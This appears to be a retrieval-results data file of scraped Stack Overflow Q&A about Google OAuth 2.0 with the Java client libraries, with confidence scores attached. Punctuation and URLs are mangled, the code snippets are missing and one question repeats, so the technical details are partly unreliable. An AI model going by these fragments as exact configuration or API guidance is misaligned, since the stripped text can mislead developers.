: groups.google.com forum forum google-api-java-client", "I have the same issue even the google-oauth playground has the issue .", "I am using Google OAuth 2.0 for authentication of an installed desktop Java application .", "By the way class RequestHandler https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 271 has annotation @Beta.. . .. . .. . COMMENT : It seems the problem is in Google Play Service proprietary class com.google.android.gms.auth.GoogleAccountCredential used for getting a token https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 255 : .. . .. . As I suspect GoogleAuthUtil.getToken has to use main thread to validate authentication but main thread is blocked by CountDownLatch in a waiting of request result .", "Yes in Google OAuth 2.0 although you can set no uris in REDIRECT URIS it doesn t make any sense .", "Redirect uri is required in client registration and oauth flows authorization code flow and implicit flow .", "Add accesses to my app Security - Advanced settings - Authentication - Manage OAuth Client access .. . 5 .", "Context .. . .. . I m currently migrating an OAuth 1.0 OpenId based app over to use OAuth 2.0 .", "did you register your client-app in Google", "After all we start with OAuth 1.0 credentials .", "This double URL encoding is mentioned in Using OAuth with the Google Data APIs Signing Requests https : developers.google.com gdata articles oauth Signing for the oauth token .. . .. . Only after doing all these steps did I get the migration request to work and I received a valid refresh token .. . .. . Below is a sample base string", "Yes Google Oauth can be used to log in the user but you are still looking at a sending the user to Google every time so you really gain nothing by doing that .", "So when receiving the actual oauth request google checks to see if the callback url given in the request is same as Authorized redirect URI and if not it throws error .", "You can obtain the access token directly using GoogleAuthUtil.getToken by specifying the scopes without your server s OAuth 2.0 client ID .", "After a little more research I find that I want to use Service Account Flow and impersonate a user on the domain as per : developers.google.com api-client-library java https : developers.google.com api-client-library java google-api-java-client oauth2 service-accounts and according to this : developers.google.com identity protocols https : developers.google.com identity protocols OAuth2ServiceAccount delegatingauthority it should work.. .", "Can you post the oauth client info you have from the developers console", "For such purpose I want to implement ByteChannel method : .. . .. . If I use libraries google-api-services-drive-v2-rev151-1.18.0-rc.jar and google-api-client-assembly-1.18.0-rc-1.18.0-rc.zip https : code.google.com p google-api-java-client wiki Downloads tm 2 recommended by Google : .. . .. . I can never read more than six intervals", "The REST apps are in Java and use GoogleCredential for consume Google Apis .", "Same client ID works well with Google Plus features .", "@Guillermo81 i failed to understand your use-case I think what you want is described in this article http : ikaisays.com 2011 05 26 setting-up-an-oauth-provider-on-google-app-engine", "I finally gave up on using google java apis and made a direct POST GET request to google with the hosts and URL mentioned in GoogleOAuthPlayground .", "I am working with google-analytics-api in Java .", "This is obviously since I need to add my origin to the relevant Client Id on the Google API console .", "you work with oAuth or openID", "I looked at the Authorization header in HTTP requests sent by the current Google Client APIs that use OAuth1 and that work fine and apart obviously from signature nonce and timestamp they look identical to the one sent by this migration call .", "I need migrate the principal GAE app also in Java from 2LO Oauth 1 to 2LO Oauth2 .", "There is no answer.. . it is an issue on the Google side.. . :", "via HttpURLConnection instead of the Java client library but that should be independent of the token acquisition .", "I can use these credentials to make calls to Google Calendar etc .", "Click on Security- Advance Settings- Manage ThirdParty OAuth Client Access and check that those scopes are added comma separated for your xxxxxxxxxxxxxxxxxx.apps.googleusercontent.com service account id client id .", "I am trying to implement user registration and log in flow SSO using Spring Security Oauth 2.0 and Google as the authentication provider .", "The tutorial at developers.google.com accounts docs OAuth ref https : developers.google.com accounts docs OAuth ref explicitly says the authorization header must use OAuth 1.0 .", "For the OAUTH setting for our google-calendar project the REDIRECT URIS is given as http : foo.com calendar callback .. . .. . It is possible that when this callback is called we need some extra information passed in the callback .", "https : developer.linkedin.com blog register-your-oauth-2-redirect-urls", "Also password change will not effect an Oauth2 RefreshToken that is the whole point of OAuth .", "You need to create a datastore https : developers.google.com api-client-library java google-api-java-client oauth2 data store to to store the first refreshh token then you should be able to run your code in the future with out needing to authenticate it again .", "I am successfully using GoogleAuthorizationCodeFlow to obtain and store credentials to access google calender api .", "It explicitly shows what the Auth header should look like and it s Authorization : OAuth", "This question http : stackoverflow.com questions 21989255 google-oauth-2-0-include-granted-scopes-not-working-for-installed-app describes a similar problem but for an installed app and it includes a nice simple script to reproduce the problem .", "This has nothing to do with Google APIs but Java class structure .", "daimto.com google-api-error-list http : www.daimto.com google-api-error-list", "I plan to use Google Sign-in on Android namely .", "But how to use these Strings with Google API for Java Contacts API", "I ve seen various posts on Google documentation https : developers.google.com google-apps tasks oauth-authorization-callback-handler blogs http : jeff-davis.blogspot.com 2012 05 authenticating-for-google-services-part.html and SO giving examples of UserService being used with OAuth2 .", "I am looking for equivalent configuration for Oauth 2.0 .", "I am using two-legged OAuth .", "There are information but not sure if it stands true for OAuth with service-accounts .", "The API is client platform agnostic it should work on Android as well as any other Google API .", "Don t know if it s a Google thing or not but my solution is this : .. . .. . Create a Client Id Applicaion- Other in the API console .", "You can check Android Client https : github.com youtube yt-direct-lite-android tree master app src main java com google ytdl for how to do it in Java .", "In the Client name field enter the service account s Client ID .", "It is also used for validation by google .", "Or GoogleCredential is only for Google Apis", "I am attempting to create a credential using a service account in order to retrieve Google Analytics info .", "Use the Client Id Client secret to obtain an Access Token through a WebView .", "If you visit : .. . .. . http : code.google.com p google-api-java-client wiki OAuth2 Authorization Code Flow .. . .. . You can see better samples of the java client there demonstrating that you have to override the getRedirectUri method to specify your callback path so the default isn t used .", "Here is the snippet : .. . .. . It s a workaround I hope the Google fix the issue.. . :", "In order to make the LinkedIn platform even more secure and so we can comply with the security specifications of OAuth 2 we are asking those of you who use OAuth 2 to register your application s redirect URLs with us by April 11 2014 .", "stackoverflow.com questions 24730568 http : stackoverflow.com questions 24730568 use-oauth2-for-authentication-compatibility-with-google-appengine-api-users-se", "stackoverflow.com questions 21261278 http : stackoverflow.com questions 21261278 com-google-android-gms-auth-googleauthexception-gettokenunknown-source-except stackoverflow.com questions 17906699 http : stackoverflow.com questions 17906699 googleauthexception-unknown-while-doing-google-sso 25766367 25766367", "When i try to impersonate a user in Google Apps Domain to authenticate Google Drive API using setServiceAccountUser i get a response as .. . .. . com.google.api.client.auth.oauth2.TokenResponseException : 403 OK error : access denied error description : Requested client not authorized .", "Can t google give more information", "The Java Client Library code is retrieving the verification code and I am able to access the calendar as expected .", "So when initiating the OAUTH process for example set the redirect url as http : foo.com calendar callback server id 180 .. . .. . This is not working .", "I create redirect cookie send browser to OAuth in callback method gets redirect cookie and make redirect to certain page .", "I have done the following : .. . .. . 1 Created an OAuth 2.0 Service account via Google s Developers Console for the project .", "It also covers others OAuth family related implementations such as JWT JWS and OpenID Connect .", "I have a Java application that needs to get users to authorize my application s access to Google services .", "The app is a Google App Engine app built-in Java and will be in the new apps marketplace 2.0 .", "Using GDATA libraries can we start using OAuth 2.0", "For example contacts API is on GDATA but still it supports oauth-2.0", "We were using GDATA API 1.46.0 and it does not support OAuth 2.0 .", "After using the new Libraries I was able to implement OAuth 2.0 .", "The following steps must be performed by an administrator of the Google Apps domain : Go to your Google Apps domain s Admin console .", "See stackoverflow.com questions 28580392 http : stackoverflow.com questions 28580392 google-drive-api-access-my-own-account 28582334 28582334 for example ." ] }
{ "confidence": [ 58.56735610961914, 54.292869567871094, 54.289085388183594, 53.00176239013672, 52.8832893371582, 51.44107437133789, 50.943634033203125, 49.533809661865234, 48.44420623779297, 47.70625686645508, 44.09709167480469, 43.72277069091797, 43.32377624511719, 42.5749626159668, 42.1993408203125, 42.0755729675293, 41.097476959228516, 41.07781982421875, 40.681182861328125, 39.636688232421875 ], "content": [ "Question : I work in a project using GAE . I have a GAE app that consume Rest services from others GAE apps this apps uses different Google Apis with 2LO oauth2 eg : one app uses Gcalendar Api other Gmail Api .. . . The REST apps are in Java and use GoogleCredential for consume Google Apis . All the apps are in same domain Company is own of all projects . I need migrate the principal GAE app also in Java from 2LO Oauth 1 to 2LO Oauth2 . I see this example but not is 2LO . https : code.google.com p google-oauth-java-client wiki Samples .. . .. . Can I use Credential from Google-Oauth-api or GoogleCredential Or GoogleCredential is only for Google Apis Thanks . .. . Answer : This 1 is the 2LO OAuth 2.0 implementation of Google OAuth you can use on App Engine and is usually refereed as the OAuth for Server to Server Applications on public documentation . This method requires of a Service Account that you can obtain on the Google Developers Console of your app . More info here 2 . 1 https : developers.google.com accounts docs OAuth2ServiceAccount .. . .. . 2 https : developers.google.com api-client-library java google-api-java-client app-engine Comment : I m waiting for pk12 file and user account . But what Scope I need to execute a call for other app Comment : @Guillermo81 i failed to understand your use-case I think what you want is described in this article http : ikaisays.com 2011 05 26 setting-up-an-oauth-provider-on-google-app-engine", "Question : I am having issues connecting to the Google Contacts API with Java using OAuth 2.0 . After extensive searching I have reached the point where it appears I can connect but receive error messages in the final process . I have done the following : .. . .. . 1 Created an OAuth 2.0 Service account via Google s Developers Console for the project . 2 Following the steps to Delegate domain-wide authority to the service account I found at https : developers.google.com identity protocols OAuth2ServiceAccount I have authorized the Client ID of the service account created in step 1 above to the scope https : www.google.com m8 feeds for the Contacts Read Write . 3 Here is the code I have based on other members posts : .. . .. . In theory I believe this is supposed to all work . However when credential.refreshToken is executed I receive the error : .. . .. . If I remove setServiceAccountUser user@example.com I receive the error message com.google.gdata.util.ServiceForbiddenException : Cannot request contacts belonging to another user . I believe I need to keep setServiceAccountUser .. . but am unable to get past the token response exception . I am unsure where to go from here . Thank you for any advice or assistance you can provide . Comment : Ok change of direction slightly . How can I gain access to the contacts for just one of the Google Apps users using service account flow such that user interaction is not required That is all I essentially need . Do I need to add additional scopes instead of simply the Contacts API .. . Answer : It appears you re using the Authorization Code flow from OAuth2 read more in this nice post http : alexbilbie.com 2013 02 a-guide-to-oauth-2-grants . In this case after the step you already did register your app in Google Console + register your app to access Contacts API your app will need to : .. . .. . 1 . Provide to the user the authorization URL : user will click and grant to your app permission to read the data you need . 2 . With user permission granted you ll receive an authorization code . 3 . Using this authorization code you ll exchange it by a token . 4 . Now with the token in your hands call the Google Contacts API . User Java Libraries .. . .. . My advice is to use popular Java libraries that handle all this flow for you . Two popular libraries are : .. . .. . Google OAuth2 API Libraries for Java https : developers.google.com api-client-library java apis oauth2 v1 : focused on Google OAuth2 APIs .. . .. . Apache Oitu http : oltu.apache.org : OAuth OAuth2 protocol implementation in Java . It also covers others OAuth family related implementations such as JWT JWS and OpenID Connect . Both have Maven support . Another possible solution is to use broad address book services like CloudSponge.com https : cloudsponge.com contact-importers gmail which offers a Java API http : www.cloudsponge.com integrations java and support for other popular sources in case you re planning beyond just Gmail . Comment : After a little more research I find that I want to use Service Account Flow and impersonate a user on the domain as per : developers.google.com api-client-library java https : developers.google.com api-client-library java google-api-java-client oauth2 service-accounts and according to this : developers.google.com identity protocols https : developers.google.com identity protocols OAuth2ServiceAccount delegatingauthority it should work.. . There seems to be a piece missing where Google does not accept me wanting to access the user s contacts .", "Question : We are using EMAIL Settings API and ClientLogin for Authentication . EMAIL Settings API is still on GDATA Libraries . Using GDATA libraries can we start using OAuth 2.0 we are using the appsforyourdomain client library to use EMAIL Settings API Or can we continue using ClientLogin Based on the post looks like ClientLogin is going to retire by April 20 2015 . Please guide me the right approach . GDATA API : 1.46.0 . EMAIL Settings API is used only for disabling the webclips for the user . Comment : Eventhough EMAIL settings API is on GDATA libraries you can use oauth-2.0 . For example contacts API is on GDATA but still it supports oauth-2.0 Comment : Thanks SGC . Do you have any samples or link that might help me in implementing the same for Google Email settings API . I recently did Service account based Oauth 2.0 for ADMIN Directory API for user management . .. . Answer : We were using GDATA API 1.46.0 and it does not support OAuth 2.0 . Support was added in 1.47.0 version . See the release note below . After using the new Libraries I was able to implement OAuth 2.0 . Used GmailSettingsService class inside the appsforyourdomain client library and commented out the ClientLogin flow and added new flow for OAuth2.0 . Use GoogleCredential Object to create the OAuth2.0 credential object . Notes for v1.47.0 .. . .. . o Add OAuth 2.0 support leveraging Google OAuth Client for Java http : code.google.com p google-oauth-java-client . Comment : @bummi In the above answer what should be the value of DOMAIN ADMIN API USER For example : admin@appcreator.com is the user who created the application and admin@appuser.com is the user who is using the application .", "Question : I am working with google-analytics-api in Java . I have a code which fetches access token from refresh token . We store the refresh token in the database and while requesting retrieve access token . After password change our request token became invalid . So I generated a new refreshtoken by browsing the url https : developers.google.com oauthplayground and following the instructions . I got the new refresh token . Now when I am executing the code to retrieve access token it throws null-pointer exception . Following is the code : .. . .. . When execute method is invoked it throws the following exception : .. . .. . Can anyone please point where am I doing wrong I am able to get the access token from google oAuth UI . Comment : I m afraid it is an open issue for the GoogleApi java library : github.com google google-api-java-client issues 932 https : github.com google google-api-java-client issues 932 please share if you have any solution . Comment : You should not be using Oauthplayground to get a RefreshToken this should be part of your code . Also password change will not effect an Oauth2 RefreshToken that is the whole point of OAuth . .. . Answer : This may have your answer : https : github.com googleads googleads-java-lib issues 19 .. . .. . Github user jyothi462 says that his NPE was ultimately caused by using the wrong client id and secret . This was also the problem in my case . That issue was resolved with an update the error message making it more descriptive . Comment : The stack-trace you ve reference is very different from the one on the description . The closer one is : github.com google google-api-java-client issues 932 https : github.com google google-api-java-client issues 932", "Question : null .. . Answer : I m following the Implementing Server Side-Authentication https : developers.google.com drive web auth web-server part of the Google Drive SDK docs and in the code presented the following part if left as an exercise for the reader : .. . .. . How does one actually do this given that we have the AuthorizationToken and RefreshTokens stored as strings Comment : See javadoc.google-oauth-java-client.googlecode.com hg 1.18.0-rc http : javadoc.google-oauth-java-client.googlecode.com hg 1.18.0-rc com google-api-client auth oauth2 Credential.html", "Question : I am using Google OAuth 2.0 for authentication of an installed desktop Java application . I am using the Google OAuth 2.0 Java Client Library . When I make a call to request the user to authorize access to their Google Calendar the Request for Permission webpage is displayed in the default browser as expected . After the user clicks Cancel or Accept the webpage displays the message : .. . .. . Received verification code . Closing.. . In Internet Explorer the webpage is then closed . In Firefox and Chrome however the webpage remains open . Is there a way to force the webpage to close from my Java program This is the code I am using that triggers the webpage taken from the Google Developer s CalendarSample http : samples.google-api-java-client.googlecode.com hg-history 425c5ffc30178f21aea592bc989849ea7e3498fe calendar-cmdline-sample instructions.html : Comment : I believe you have to keep track of the Url and close it yourself just like in android webviews . You have to get the verification code-first Comment : The Java Client Library code is retrieving the verification code and I am able to access the calendar as expected . The problem is that the browser window doesn t close on FF and Chrome . I don t think that having the url will enable me to close the browser tab . .. . Answer : I figured it out . The webpage which was not closing is created by LocalServerReceiver . LocalServerReciever.CallbackHandler.writeLandingHtml contains the following : .. . .. . This code is attempting to take advantage of an exploit that allows JavaScript to close a page even though the page was not opened by JS . That exploit still works on IE 11 but no longer works on FF 31 or Chrome 36 . After a great deal of searching I have learned that it is no longer possible for JS to close a page that it did not open with the exception of the extant exploit vulnerability in IE . For my purposes I solved the problem by modifying LocalServerReceiver slightly . I have changed the text of the message displayed on the webpage from : .. . .. . Received verification code . Closing.. . .. . .. . to : .. . .. . Your response has been received . .. . Please close this window . The non-modified source for LocalServerReceiver can be found here : https : code.google.com p google-oauth-java-client source browse google-oauth-client-jetty src main java com google-api-client extensions jetty auth oauth2 LocalServerReceiver.java r 2624919183758196142f47c414e71db685e77de2", "Question : I m trying to migrate existing OAuth1.0 3L tokens to OAuth2.0 for a web app . I am following the instructions at https : developers.google.com accounts docs OAuth ref Despite all my best efforts I keep getting this response : Invalid authorization header . To create the Authorization header I use Google s Java client library 1.0 the same I use in the application to talk to google-calendar . I am testing with an access token . token secret consumer key and consumer secret that work without problem i.e . I can use these credentials to make calls to Google Calendar etc . This is the code I use : .. . .. . and this is the wire trace produced by HttpClient : .. . .. . where 12345 and ABCDE are obviously placeholders for the real OAuth2 app credentials . I have double and triple checked that all the parameters set in OAuthParameters are the same used by the normal code that is currently working using OAuth1 even using a step-by-step debugger to verify the values at the time the signature is calculated by OAuthHmacSha1Signer.getSignature . I looked at the Authorization header in HTTP requests sent by the current Google Client APIs that use OAuth1 and that work fine and apart obviously from signature nonce and timestamp they look identical to the one sent by this migration call . I even tried a test migration request which failed then used a debugger to run the old code and inject method URL nonce and timestamp used by the migration call and the signature calculated by the old code was identical given identical params . Any clues of why the Authorization header is still reported as invalid .. . Answer : When generating the base string you will need to ensure that each individual parameter is URL encoded before constructing the base string . As per the oAuth documentation to sign OAuth 1.0 requests https : developers.google.com accounts docs OAuth ref SigningOAuth the base string is made up of 3 components .. . .. . The HTTP request method .. . The base URL the request is being sent to .. . A normalized string of the parameters in the request .. . .. . When constructing the base string you need to do the following .. . .. . Ensure HTTP request method is POST .. . URL encode the base URL .. . Ensure the three POST body parameters client id client secret grant type are included in the normalized request parameters .. . Ensure each parameter is individually URL encoded and then URL encode the complete normalized request parameters string . So in effect some of the paramters are double URL encoded . This double URL encoding is mentioned in Using OAuth with the Google Data APIs Signing Requests https : developers.google.com gdata articles oauth Signing for the oauth token .. . .. . Only after doing all these steps did I get the migration request to work and I received a valid refresh token .. . .. . Below is a sample base string", "Question : I m trying to migrate existing OAuth1.0 3L tokens to OAuth2.0 for a web app . I am following the instructions at https : developers.google.com accounts docs OAuth ref Despite all my best efforts I keep getting this response : Invalid authorization header . To create the Authorization header I use Google s Java client library 1.0 the same I use in the application to talk to google-calendar . I am testing with an access token . token secret consumer key and consumer secret that work without problem i.e . I can use these credentials to make calls to Google Calendar etc . This is the code I use : .. . .. . and this is the wire trace produced by HttpClient : .. . .. . where 12345 and ABCDE are obviously placeholders for the real OAuth2 app credentials . I have double and triple checked that all the parameters set in OAuthParameters are the same used by the normal code that is currently working using OAuth1 even using a step-by-step debugger to verify the values at the time the signature is calculated by OAuthHmacSha1Signer.getSignature . I looked at the Authorization header in HTTP requests sent by the current Google Client APIs that use OAuth1 and that work fine and apart obviously from signature nonce and timestamp they look identical to the one sent by this migration call . I even tried a test migration request which failed then used a debugger to run the old code and inject method URL nonce and timestamp used by the migration call and the signature calculated by the old code was identical given identical params . Any clues of why the Authorization header is still reported as invalid .. . Answer : The auth header in OAuth2 is a bearer token . It should look something like Comment : The tutorial at developers.google.com accounts docs OAuth ref https : developers.google.com accounts docs OAuth ref explicitly says the authorization header must use OAuth 1.0 . After all we start with OAuth 1.0 credentials . It explicitly shows what the Auth header should look like and it s Authorization : OAuth Comment : my mistake . I thought you had completed the migration step . The grant type in your question looks odd . Is that what was sent or was it scrambled by the SO editor Comment : good spotting no it s actually grant type urn 3Aietf 3Aparams 3Aoauth 3Agrant-type 3Amigration 3Aoauth1 as per the tutorial s example . Form encoded . But I m not sure the issue lies in the request payload.. . the error message is Invalid authorization header so I assume it s more about that header But you never know.. .", "Question : I am trying to implement user registration and log in flow SSO using Spring Security Oauth 2.0 and Google as the authentication provider . How should I initiate registration and login flow What filter needs to be applied In registration flow I will needs user s details name email that are part of successful authorization response to be persisted in my local database . How do I handle that What s the purpose of oauth2 : client id oauth2ClientFilter This is how my application context file looks like : - .. . .. . EDIT .. . .. . I did implemented same use-case using Spring Security OpenID by : - .. . .. . 1 . Declaring openid : form tag with exchange attributed configured .. . 2 . Extend the UserDetailsService as described here http : stackoverflow.com questions 10927633 spring-security-openid-userdetailsservice-authenticationuserdetailsservice 16571653 16571653 . I am looking for equivalent configuration for Oauth 2.0 . Comment : please clarify your question : what does not work login registration you work with oAuth or openID in both why do you need registration unless you register the oauth-client.. . Comment : @OhadR : please see the updated question . .. . Answer : did you register your client-app in Google this is how oAuth2 works.. . the client should be registered in the provider and get a client ID and client secret . in your XML it seems like you did not register : .. . .. . have a read at Google oAuth2 docs https : developers.google.com accounts docs OAuth2 .. . .. . UPDATE .. . .. . As for your updated question I think that the behavior that you see is due to the fact that your application should allow access to oauth2 google in your security.xml file . Comment : Yes I did registered . The resource tag has client key secret . Comment : Please see updated question .", "Question : The authorized redirect URI is used by google to do a callback to pass the authorization token . It is also used for validation by google . So when receiving the actual oauth request google checks to see if the callback url given in the request is same as Authorized redirect URI and if not it throws error . My requirement is to prevent google from doing this validation as I want to be able to pass different callback urls at run time . I tried giving the authorized redirect URI as empty but that doesn t work . Any suggestions Comment : redirect URI must be the same as the one you have set up for your application in the cloud developers console . Comment : Can I set Authorized redirect URI as empty during set up The LinkedIn api allows you to do something similar . When set as empty then I can pass any callback url in the api and it works..Was wondering if there s something similar for google. . Comment : Can you not just route the callback yourself from the provided URI .. . Answer : Yes in Google OAuth 2.0 although you can set no uris in REDIRECT URIS it doesn t make any sense . Redirect uri is required in client registration and oauth flows authorization code flow and implicit flow . Lack of a redirection URI registration requirement can enable an attacker to use the authorization endpoint as an open redirector http : tools.ietf.org html rfc6749 section-10.15 . You mentioned that LinkedIn enabled open redirectURI . This is not acceptable in security . And I ve noticed that LinkedIn has fixed this issue . In order to make the LinkedIn platform even more secure and so we can comply with the security specifications of OAuth 2 we are asking those of you who use OAuth 2 to register your application s redirect URLs with us by April 11 2014 . Here is LinkedIn s announcement . https : developer.linkedin.com blog register-your-oauth-2-redirect-urls", "Question : I am trying to make an upload to YouTube from my Java based web app I spent a few days to understand what and where is the problem and I cannot get it for now I am pulling my hair out off my head . I registered my web app in Google Console so I got a pair of Client ID and Secret and a possibility to download JSON type file with my config . So here is the config : .. . .. . How is possible that I am getting the default URL from Google The redirect URI in the request : http : localhost : 8080 Callback did not match a registered redirect URI .. . .. . It always gives me the default http : localhost : 8080 Callback URL instead of mine . And IDE console shows me that : .. . .. . Please open the following address in your browser : https : accounts.google.com o oauth2 auth client id redirect uri http : localhost : 8080 Callback response type code scope https : www.googleapis.com auth youtube.upload Attempting to open that address in the default browser now.. . .. . .. . I am using the last version of dependencies : google-api-services-youtube v3-rev99-1.17.0-rc and google-api-services-youtubeAnalytics v1-rev35-1.17.0-rc .. . Answer : When your browser redirects the user to Google s oAuth page are you passing as a parameter the redirect URI you want Google s server to return to with the token response Setting a redirect URI in the console is not a way of telling Google where to go when a login attempt comes in but rather it s a way of telling Google what the allowed redirect URIs are so if someone else writes a web app with your client ID but a different redirect URI it will be disallowed your web app should when someone clicks the login button send the browser to : .. . .. . the callback URI passed as a parameter must be url-encoded btw . When Google s server gets authorization from the user then it ll redirect the browser to whatever you sent in as the redirect uri . It ll include in that request the token as a parameter so your callback page can then validate the token get an access token and move on to the other parts of your app . If you visit : .. . .. . http : code.google.com p google-api-java-client wiki OAuth2 Authorization Code Flow .. . .. . You can see better samples of the java client there demonstrating that you have to override the getRedirectUri method to specify your callback path so the default isn t used . The redirect URIs are in the client secrets.json file for multiple reasons .. . one big one is so that the oAuth flow can verify that the redirect your app specifies matches what your app allows . If you visit https : developers.google.com api-client-library java apis youtube v3 You can generate a sample application for yourself that s based directly off your app in the console in which again the getRedirectUri method is overwritten to use your specific callbacks . Comment : From how it works it seems that the library won t let me to pass my customized URL instead it will pass the standard one or I made something wrong or I missed a detail . I thought it would get the URIs from client secret.json . Then for what is the config file Comment : Edited my answer above to provide more details for your comment . Comment : Thanks Jarom that was the problem I did not override the method now it works . Thanks a lot to you you saved my time . Comment : @jlmcdonald I am facing similar problem can you help me stackoverflow.com questions 34316162 http : stackoverflow.com questions 34316162 installed-application-redirect-uri-mismatch-when-site-is-online", "Question : I am trying to access the Gmail API using an Android application . I have successfully requested and received an access token using all available scope combinations . But it seems that every time I actually try to use the Gmail API command I am getting a 403 exception reading : Access not configured please use Google developers console to activate the api.. . .. . .. . Needless to say the API is activated and a client key was created using the correct package name sha1 code . Same client ID works well with Google Plus features . Anyone having this issue or succeeded in connecting to the Gmail api from Android Thanks .. . .. . Here s the log : .. . .. . Are there any other API s that need to be enabled in the API Console except Google+ API and Gmail API EDIT : .. . .. . I have found out that using a WebView based authentication will result in an access token that will grant Gmail API access but this is not a valid solution because the token is short lived . As for now the GoogleAuthUtil will grant a token but it s privileges are not sufficient for using the Gmail API . anyone had success in connecting Android with the Gmail API and would like to share EDIT2 : .. . .. . Here are snippets of what I am doing : .. . .. . Getting the token : .. . .. . Trying to fetch messages from the Gmail API : .. . .. . The exception is caught when use the Gmail API service . In addition I have tried clearing the token and asking for a new one with the same result . Comment : Do you try to implement this example developers.google.com gmail-api quickstart https : developers.google.com gmail-api quickstart quickstart-java step 1 enable the gmail-api Comment : Yes . it is simple enough . But still does not explain why the GooglaApiCient returns an unusable token . Comment : Just as a data point GoogleAuthUtil works fine for me in using the Gmail API to send email from a service on Jelly Bean and KitKat . I m using the REST API directly i.e . via HttpURLConnection instead of the Java client library but that should be independent of the token acquisition . I was getting your 403 for a while until I set up the Client ID for Android application properly but it s been fine after that with refresh handled automatically . One possible place to go wrong that you don t show is handling UserRecoverableAuthExtension on the getToken call . Comment : Any special way to set the client ID . I ve done it multiple times and still got the same 403 error . UserRecoverableAuthExtension is handled . Comment : Step 2 of this page http : aboutyusata.blogspot.com 2014 08 android-single-signin-with-google.html describes what worked for me . You can also try using the token on your development-machine e.g . with curl : curl -v -H Authorization : Bearer ya29.pwAy.. . https : www.googleapis.com gmail v1 users me messages . This will work for an hour after the token is generated . Put @rhashimoto in any reply if you want me to see it . .. . Answer : That error message is deceptive I believe it also happens when the developer project credentials client isn t correct . For example you picked web application when really you want installed application . Confirm you re correctly following instructions from : https : developers.google.com accounts docs OAuth2 .. . .. . Should be installed application etc . Can you post the oauth client info you have from the developers console Type and any other non-confidential info in there etc . Comment : Created an installed application android withe deep-linking . Sha1 and package verified . The same clienr id works well with google-plus API . Getting the feeling that this API is not designed to talk to Android Comment : The API is client platform agnostic it should work on Android as well as any other Google API . Not sure what the problem is here hopefully someone watching the google-oauth or google-oauth-java-client tags can provide some insight then . Comment : Thanks . Ill keep trying to figure out whats wrong . Problem is I don t see many Gmail API Android users around to get a good feedback on someone who actually got it working . Comment : I can now confirm that any access token received from using GoogleAuthUtil class or AccountManager class will not work with the Gmail API . On the other hand requesting a token through a WebView with a Client ID set to Other in the API Console will work . The problem is that the token is short lived . And now I am facing with a new problem . How to refresh the token without popping op a dialog . Comment : Seems from stackoverflow.com questions 25697011 http : stackoverflow.com questions 25697011 handling-expired-access-token-in-android-without-user-concent that this is fixed right With credit to Noam Wies as well .", "Question : I am trying to add some information from Steam into my Android app . I see that Steam has Steamworks https : partner.steamgames.com home steamworks but that is only built for Windows OSX and Linux . Furthermore I saw that they also have a Web API https : developer.valvesoftware.com wiki Steam Web API that could also be accessed from a mobile-application . But all the methods in the API require a 64 bit SteamID which they say can be retrieved using OpenID http : openid.net developers libraries . I downloaded the Google Oauth Client Library for JAVA https : code.google.com p google-oauth-java-client but I reading through the documentation I don t understand how I can get a SteamID for a user using this library . Has anyone used this lib or another open-source lib to get a SteamID .. . Answer : UPDATE .. . .. . To get direct SteamID64 . Login to Steam using a web broswer . Once logged click on your profile and add xml 1 to browser url address .. . .. . http : steamcommunity.com id yourusername xml 1 or .. . .. . http : steamcommunity.com profiles yourprofilenumber xml 1 if you have not set a public username yet .. . .. . .. . .. . I think this is number in profile link or steamID64 example : http : steamcommunity.com profiles 76561198113616635 .. . .. . Steamid will be : 76561198113616635 .. . .. . To check it online you can go to https : steamid.io lookup .. . .. . In Android app I think after authorize steam will give you that number and key . Comment : I know how to get my SteamID but I need to have a way to get the SteamID of a user that uses my app . He will not be able to give my that SteamID so I want to use OpenID to get it from Steam . Comment : Are you try to implement this app After login through steam what information you will get back from steam Comment : I want to use their Web API see link-to it in the question to get a list of friends and some other info . I only get access to that if I have the SteamID . Comment : The first thing if you want get information from user user must allow you to get through login with steam . After that you will get SteamID is this correct Comment : yes that is correct .", "Question : I am trying to get an access token for Google Service Account . Following is my code - .. . .. . Although the code works fine and I do get an access token when I try to use it to GET a Google Apps User using the Google Directory APIs I get a 403 - Forbidden response code . Could someone please help I know the code for GET user is correct because it works fine with the access token generated by Google Apps Admin . .. . Answer : Proceed to https : admin.google.com . Login and add Security control if not exists from More Controls . Click on Security- Advance Settings- Manage ThirdParty OAuth Client Access and check that those scopes are added comma separated for your xxxxxxxxxxxxxxxxxx.apps.googleusercontent.com service account id client id .", "Question : I have implemented GOOGLE OAuth using JAVA Web Server . I can not able to figure out how to give domain restriction on sign in from example@example.com T https : developers.google.com accounts docs OAuth2Login hd-param .. . .. . Here is java-server code . .. . .. . Comment : You can also check and validate when you get response from server . .. . Answer : All you have to do is modify the URL", "Question : I have a server-side application that needs access to a combination of Google APIs for some users of our app we only need access to one API set of scopes say Google Drive for other users to another API scope say G+ and for some we need access to both users can link-to the other part of the app at a later time . We wanted to use incremental authorization https : developers.google.com accounts docs OAuth2WebServer hl de incrementalAuth for this but when we first request access to one set of scopes then later on request access to another set of scopes the access token we get for that second request only allows access to the second scopes not the combination of the initially requested scopes and the new scopes as documented in the Google link given above . All our authorization urls include the include granted scopes true parameter . Is there any additional step we have to do to enable incremental auth We are using the Google oauth Java client libs in our server-side app if that makes any difference . This question http : stackoverflow.com questions 21989255 google-oauth-2-0-include-granted-scopes-not-working-for-installed-app describes a similar problem but for an installed app and it includes a nice simple script to reproduce the problem . .. . Answer : We are seeing a variant of this problem . We found that things worked find with scopes for Drive APIs but that it didn t work for the Spreadsheets API . Have filed an issue with Google .. . .. . https : code.google.com a google.com p apps-api-issues issues detail id 3642 thanks 3642 ts 1412997212 https : code.google.com a google.com p apps-api-issues issues detail id 3642 thanks 3642 ts 1412997212", "Question : I am attempting to create a credential using a service account in order to retrieve Google Analytics info . But when Credential.refreshToken . . is called I get a .. . java.net.SocketException : Connection reset . I have created an OAuth service account and a P12 file using the Google Developers Console . Then I execute the following code : .. . .. . This results in a short pause then the following exception : .. . .. . The code is executing in a webapp running on Tomcat . Any help with this problem would be greatly appreciated .. . Answer : For anyone else who gets here.. . The problem was some kind of firewall issue at work . Everything worked perfectly when I created a Wifi Hotspot through my phone and went through that .", "Question : All .. . .. . I tried Gmail API with service account . I implemented code following : .. . .. . but that code return 403 error : .. . .. . Of course I enabled Gmail API via Google Developer Console and set permissions include Gmail scope via Admin console . What is wrong Thanks .. . Answer : If your application accesses user data the service account that 